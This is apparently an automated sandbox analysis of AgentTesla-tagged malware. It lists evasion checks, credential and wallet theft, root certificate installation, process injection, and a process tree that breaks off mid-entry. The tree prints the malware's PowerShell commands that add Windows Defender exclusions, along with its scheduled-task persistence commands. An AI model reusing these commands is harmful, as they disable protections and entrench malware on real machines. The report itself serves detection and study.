agenttesla | 98e895f711226a32bfab152e224279d859799243845c46e550c2d32153c619fc

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	mQxBvlTA.exe

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral4/files/0x000b00000002a7f4-2344.dat	net_reactor

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	mQxBvlTA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	mQxBvlTA.exe

Executes dropped EXE 26 IoCs

pid	Process
1544	mQxBvlTA.exe
1708	xIPJVPDq.exe
4608	EoAHBwjO.exe
412	crypted6077866846MVYQY.exe
1864	i1gcbW1E.exe
1340	wininit.exe
4412	1234.exe
3424	ISetup8.exe
3836	test2.exe
4924	u2n4.0.exe
2680	1111.exe
4560	ISetup2.exe
4576	Tester.exe
4020	svchost.exe
836	u3io.0.exe
2000	555.exe
2360	Document.exe
4972	BrawlB0t.exe
1668	medcallaboratory5.exe
2320	securitycheck.exe
3284	PrintSpoofer.exe
4900	svchost.exe
1760	Adobe_update.exe
3172	Retailer_prog.exe
3840	Document.exe
1196	BroomSetup.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral4/files/0x000300000002a7c0-7.dat	themida
behavioral4/memory/1544-70-0x00000000005D0000-0x00000000016EC000-memory.dmp	themida
behavioral4/memory/1544-83-0x00000000005D0000-0x00000000016EC000-memory.dmp	themida
behavioral4/files/0x000e00000002a826-3746.dat	themida

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/memory/836-845-0x0000000010000000-0x0000000010362000-memory.dmp	upx
behavioral4/memory/836-852-0x0000000010000000-0x0000000010362000-memory.dmp	upx
behavioral4/memory/836-851-0x0000000010000000-0x0000000010362000-memory.dmp	upx

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	152.89.198.214

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	mQxBvlTA.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

flow	ioc
285	drive.google.com
286	drive.google.com
1	pastebin.com
4	raw.githubusercontent.com
7	raw.githubusercontent.com
10	pastebin.com
212	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral4/files/0x000500000002a757-63.dat	autoit_exe
behavioral4/files/0x0002000000025c74-317.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1544	mQxBvlTA.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1668 set thread context of 4492	1668	medcallaboratory5.exe	110
PID 1760 set thread context of 3796	1760	Adobe_update.exe	127
PID 2360 set thread context of 3840	2360	Document.exe	166

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\svchost.exe	Tester.exe
File opened for modification	C:\Windows\svchost.exe	Tester.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2680	sc.exe
4424	sc.exe
2540	sc.exe
3288	sc.exe

Detects Pyinstaller 2 IoCs

pyinstaller

resource	yara_rule
behavioral4/files/0x000100000002a84b-2020.dat	pyinstaller
behavioral4/files/0x000100000002a893-2365.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 34 IoCs

pid	pid_target	Process	procid_target
4596	836	WerFault.exe	99
4884	1760	WerFault.exe	121
4660	712	WerFault.exe	155
1584	3548	WerFault.exe	165
1040	836	WerFault.exe	177
760	4388	WerFault.exe	175
3696	888	WerFault.exe	184
2056	564	WerFault.exe	187
2444	4388	WerFault.exe	175
2532	2368	WerFault.exe	199
1684	4768	WerFault.exe	194
4700	2340	WerFault.exe	216
1740	1532	WerFault.exe	178
1884	1740	WerFault.exe	249
4920	4088	WerFault.exe	247
1728	4088	WerFault.exe	247
6120	5364	WerFault.exe	321
5528	5452	WerFault.exe	329
2440	5728	WerFault.exe	347
5492	5728	WerFault.exe	347
2016	5728	WerFault.exe	347
5456	5728	WerFault.exe	347
5344	5728	WerFault.exe	347
396	5728	WerFault.exe	347
5664	5728	WerFault.exe	347
4024	5728	WerFault.exe	347
5876	5640	WerFault.exe	381
5928	2640	WerFault.exe	404
5772	5136	WerFault.exe	412
2468	5944	WerFault.exe	398
1716	4032	WerFault.exe	409
5860	5944	WerFault.exe	398
5216	4032	WerFault.exe	409
5452	4412	WerFault.exe	420

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BroomSetup.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BroomSetup.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BroomSetup.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	u2n4.0.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	u2n4.0.exe

Creates scheduled task(s) 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1000	schtasks.exe
1656	schtasks.exe
896	schtasks.exe
2956	schtasks.exe
3504	schtasks.exe
4752	schtasks.exe
4672	schtasks.exe
2468	schtasks.exe
2152	schtasks.exe
4312	schtasks.exe
4916	schtasks.exe
236	schtasks.exe
3840	schtasks.exe
908	schtasks.exe
3960	schtasks.exe
888	schtasks.exe
4748	schtasks.exe
4824	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
4332	timeout.exe
2364	timeout.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4396	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1708	xIPJVPDq.exe
1708	xIPJVPDq.exe
1708	xIPJVPDq.exe
1708	xIPJVPDq.exe
4608	EoAHBwjO.exe
4608	EoAHBwjO.exe
4608	EoAHBwjO.exe
4608	EoAHBwjO.exe
412	crypted6077866846MVYQY.exe
412	crypted6077866846MVYQY.exe
412	crypted6077866846MVYQY.exe
412	crypted6077866846MVYQY.exe
412	crypted6077866846MVYQY.exe
412	crypted6077866846MVYQY.exe
412	crypted6077866846MVYQY.exe
412	crypted6077866846MVYQY.exe
412	crypted6077866846MVYQY.exe
412	crypted6077866846MVYQY.exe
412	crypted6077866846MVYQY.exe
412	crypted6077866846MVYQY.exe
412	crypted6077866846MVYQY.exe
4924	u2n4.0.exe
4924	u2n4.0.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4576	Tester.exe
4020	svchost.exe
2360	Document.exe
4492	RegSvcs.exe
4492	RegSvcs.exe
2320	securitycheck.exe
2364	powershell.exe
2364	powershell.exe
4708	powershell.exe
4708	powershell.exe
2364	powershell.exe
2360	Document.exe
2360	Document.exe
4708	powershell.exe
2360	Document.exe
2360	Document.exe
4720	powershell.exe
4720	powershell.exe
4676	powershell.exe
4676	powershell.exe
4720	powershell.exe
4676	powershell.exe
2360	Document.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1668	medcallaboratory5.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	5052	New Text Document.exe
Token: SeDebugPrivilege	1708	xIPJVPDq.exe
Token: SeDebugPrivilege	4608	EoAHBwjO.exe
Token: SeDebugPrivilege	412	crypted6077866846MVYQY.exe
Token: SeDebugPrivilege	1544	mQxBvlTA.exe
Token: SeDebugPrivilege	4576	Tester.exe
Token: SeDebugPrivilege	4020	svchost.exe
Token: SeDebugPrivilege	4020	svchost.exe
Token: SeBackupPrivilege	3760	vssvc.exe
Token: SeRestorePrivilege	3760	vssvc.exe
Token: SeAuditPrivilege	3760	vssvc.exe
Token: SeDebugPrivilege	4972	BrawlB0t.exe
Token: SeDebugPrivilege	2360	Document.exe
Token: SeDebugPrivilege	4492	RegSvcs.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4720	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	4900	svchost.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	3100	powershell.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	3840	Document.exe

Suspicious use of FindShellTrayWindow 11 IoCs

pid	Process
1340	wininit.exe
1340	wininit.exe
1668	medcallaboratory5.exe
1668	medcallaboratory5.exe
1196	BroomSetup.exe
1196	BroomSetup.exe
1196	BroomSetup.exe
1196	BroomSetup.exe
1196	BroomSetup.exe
1196	BroomSetup.exe
1196	BroomSetup.exe

Suspicious use of SendNotifyMessage 11 IoCs

pid	Process
1340	wininit.exe
1340	wininit.exe
1668	medcallaboratory5.exe
1668	medcallaboratory5.exe
1196	BroomSetup.exe
1196	BroomSetup.exe
1196	BroomSetup.exe
1196	BroomSetup.exe
1196	BroomSetup.exe
1196	BroomSetup.exe
1196	BroomSetup.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4020	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 1544	5052	New Text Document.exe	81
PID 5052 wrote to memory of 1544	5052	New Text Document.exe	81
PID 5052 wrote to memory of 1544	5052	New Text Document.exe	81
PID 5052 wrote to memory of 1708	5052	New Text Document.exe	82
PID 5052 wrote to memory of 1708	5052	New Text Document.exe	82
PID 5052 wrote to memory of 1708	5052	New Text Document.exe	82
PID 1708 wrote to memory of 4608	1708	xIPJVPDq.exe	83
PID 1708 wrote to memory of 4608	1708	xIPJVPDq.exe	83
PID 5052 wrote to memory of 412	5052	New Text Document.exe	84
PID 5052 wrote to memory of 412	5052	New Text Document.exe	84
PID 5052 wrote to memory of 412	5052	New Text Document.exe	84
PID 5052 wrote to memory of 1864	5052	New Text Document.exe	86
PID 5052 wrote to memory of 1864	5052	New Text Document.exe	86
PID 5052 wrote to memory of 1340	5052	New Text Document.exe	87
PID 5052 wrote to memory of 1340	5052	New Text Document.exe	87
PID 5052 wrote to memory of 1340	5052	New Text Document.exe	87
PID 5052 wrote to memory of 4412	5052	New Text Document.exe	89
PID 5052 wrote to memory of 4412	5052	New Text Document.exe	89
PID 5052 wrote to memory of 4412	5052	New Text Document.exe	89
PID 5052 wrote to memory of 3424	5052	New Text Document.exe	90
PID 5052 wrote to memory of 3424	5052	New Text Document.exe	90
PID 5052 wrote to memory of 3424	5052	New Text Document.exe	90
PID 5052 wrote to memory of 3836	5052	New Text Document.exe	91
PID 5052 wrote to memory of 3836	5052	New Text Document.exe	91
PID 3424 wrote to memory of 4924	3424	ISetup8.exe	205
PID 3424 wrote to memory of 4924	3424	ISetup8.exe	205
PID 3424 wrote to memory of 4924	3424	ISetup8.exe	205
PID 5052 wrote to memory of 2680	5052	New Text Document.exe	95
PID 5052 wrote to memory of 2680	5052	New Text Document.exe	95
PID 5052 wrote to memory of 4560	5052	New Text Document.exe	96
PID 5052 wrote to memory of 4560	5052	New Text Document.exe	96
PID 5052 wrote to memory of 4560	5052	New Text Document.exe	96
PID 5052 wrote to memory of 4576	5052	New Text Document.exe	97
PID 5052 wrote to memory of 4576	5052	New Text Document.exe	97
PID 5052 wrote to memory of 4020	5052	New Text Document.exe	98
PID 5052 wrote to memory of 4020	5052	New Text Document.exe	98
PID 4560 wrote to memory of 836	4560	ISetup2.exe	177
PID 4560 wrote to memory of 836	4560	ISetup2.exe	177
PID 4560 wrote to memory of 836	4560	ISetup2.exe	177
PID 5052 wrote to memory of 2000	5052	New Text Document.exe	100
PID 5052 wrote to memory of 2000	5052	New Text Document.exe	100
PID 4020 wrote to memory of 2956	4020	svchost.exe	101
PID 4020 wrote to memory of 2956	4020	svchost.exe	101
PID 5052 wrote to memory of 2360	5052	New Text Document.exe	106
PID 5052 wrote to memory of 2360	5052	New Text Document.exe	106
PID 5052 wrote to memory of 2360	5052	New Text Document.exe	106
PID 5052 wrote to memory of 4972	5052	New Text Document.exe	107
PID 5052 wrote to memory of 4972	5052	New Text Document.exe	107
PID 5052 wrote to memory of 1668	5052	New Text Document.exe	108
PID 5052 wrote to memory of 1668	5052	New Text Document.exe	108
PID 5052 wrote to memory of 1668	5052	New Text Document.exe	108
PID 1668 wrote to memory of 4492	1668	medcallaboratory5.exe	110
PID 1668 wrote to memory of 4492	1668	medcallaboratory5.exe	110
PID 1668 wrote to memory of 4492	1668	medcallaboratory5.exe	110
PID 1668 wrote to memory of 4492	1668	medcallaboratory5.exe	110
PID 4576 wrote to memory of 2364	4576	Tester.exe	183
PID 4576 wrote to memory of 2364	4576	Tester.exe	183
PID 4972 wrote to memory of 4708	4972	BrawlB0t.exe	112
PID 4972 wrote to memory of 4708	4972	BrawlB0t.exe	112
PID 5052 wrote to memory of 2320	5052	New Text Document.exe	114
PID 5052 wrote to memory of 2320	5052	New Text Document.exe	114
PID 5052 wrote to memory of 2320	5052	New Text Document.exe	114
PID 5052 wrote to memory of 3284	5052	New Text Document.exe	119
PID 5052 wrote to memory of 3284	5052	New Text Document.exe	119

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\New Text Document.exe
"C:\Users\Admin\AppData\Local\Temp\New Text Document.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Users\Admin\AppData\Local\Temp\a\mQxBvlTA.exe
  "C:\Users\Admin\AppData\Local\Temp\a\mQxBvlTA.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:1544
- C:\Users\Admin\AppData\Local\Temp\a\xIPJVPDq.exe
  "C:\Users\Admin\AppData\Local\Temp\a\xIPJVPDq.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Users\Admin\AppData\Local\Temp\EoAHBwjO.exe
    "C:\Users\Admin\AppData\Local\Temp\EoAHBwjO.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4608
- C:\Users\Admin\AppData\Local\Temp\a\crypted6077866846MVYQY.exe
  "C:\Users\Admin\AppData\Local\Temp\a\crypted6077866846MVYQY.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:412
- C:\Users\Admin\AppData\Local\Temp\a\i1gcbW1E.exe
  "C:\Users\Admin\AppData\Local\Temp\a\i1gcbW1E.exe"
  2⤵
  - Executes dropped EXE
  PID:1864
- C:\Users\Admin\AppData\Local\Temp\a\wininit.exe
  "C:\Users\Admin\AppData\Local\Temp\a\wininit.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1340
- C:\Users\Admin\AppData\Local\Temp\a\1234.exe
  "C:\Users\Admin\AppData\Local\Temp\a\1234.exe"
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Users\Admin\AppData\Local\Temp\a\ISetup8.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ISetup8.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3424
- - C:\Users\Admin\AppData\Local\Temp\u2n4.0.exe
    "C:\Users\Admin\AppData\Local\Temp\u2n4.0.exe"
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:4924
- C:\Users\Admin\AppData\Local\Temp\a\test2.exe
  "C:\Users\Admin\AppData\Local\Temp\a\test2.exe"
  2⤵
  - Executes dropped EXE
  PID:3836
- C:\Users\Admin\AppData\Local\Temp\a\1111.exe
  "C:\Users\Admin\AppData\Local\Temp\a\1111.exe"
  2⤵
  - Executes dropped EXE
  PID:2680
- C:\Users\Admin\AppData\Local\Temp\a\ISetup2.exe
  "C:\Users\Admin\AppData\Local\Temp\a\ISetup2.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Users\Admin\AppData\Local\Temp\u3io.0.exe
    "C:\Users\Admin\AppData\Local\Temp\u3io.0.exe"
    3⤵
    - Executes dropped EXE
    PID:836
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 836 -s 1096
      4⤵
      Program crash
      PID:4596
- C:\Users\Admin\AppData\Local\Temp\a\Tester.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Tester.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svchost.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4720
- C:\Users\Admin\AppData\Local\Temp\a\svchost.exe
  "C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4020
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Public\svchost.exe"
    3⤵
    - Creates scheduled task(s)
    PID:2956
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "svchost"
    3⤵
    PID:1520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7615.tmp.bat""
    3⤵
    PID:704
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:2364
- C:\Users\Admin\AppData\Local\Temp\a\555.exe
  "C:\Users\Admin\AppData\Local\Temp\a\555.exe"
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Users\Admin\AppData\Local\Temp\a\Document.exe
  "C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2360
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3100
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\gYVTyaODtj.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4932
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gYVTyaODtj" /XML "C:\Users\Admin\AppData\Local\Temp\tmp34C7.tmp"
    3⤵
    - Creates scheduled task(s)
    PID:888
- - C:\Users\Admin\AppData\Local\Temp\a\Document.exe
    "C:\Users\Admin\AppData\Local\Temp\a\Document.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3840
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "msdtc" /tr '"C:\Users\Admin\AppData\Roaming\msdtc.exe"' & exit
      4⤵
      PID:648
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "msdtc" /tr '"C:\Users\Admin\AppData\Roaming\msdtc.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:4752
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4F05.tmp.bat""
      4⤵
      PID:4720
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:4332
    - - C:\Users\Admin\AppData\Roaming\msdtc.exe
        
        "C:\Users\Admin\AppData\Roaming\msdtc.exe"
        5⤵
        
        PID:2844
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\msdtc.exe"
        6⤵
        
        PID:3732
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\gYVTyaODtj.exe"
        6⤵
        
        PID:4024
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1520
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gYVTyaODtj" /XML "C:\Users\Admin\AppData\Local\Temp\tmpBA23.tmp"
        6⤵
        Creates scheduled task(s)
        
        PID:4672
      - C:\Users\Admin\AppData\Roaming\msdtc.exe
        
        "C:\Users\Admin\AppData\Roaming\msdtc.exe"
        6⤵
        
        PID:4332
- C:\Users\Admin\AppData\Local\Temp\a\BrawlB0t.exe
  "C:\Users\Admin\AppData\Local\Temp\a\BrawlB0t.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\BrawlB0t.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'BrawlB0t.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\OneDrive.exe'
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'OneDrive.exe'
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4292
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "OneDrive" /tr "C:\Users\Admin\AppData\Roaming\OneDrive.exe"
    3⤵
    - Creates scheduled task(s)
    PID:3504
- C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe
  "C:\Users\Admin\AppData\Local\Temp\a\medcallaboratory5.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
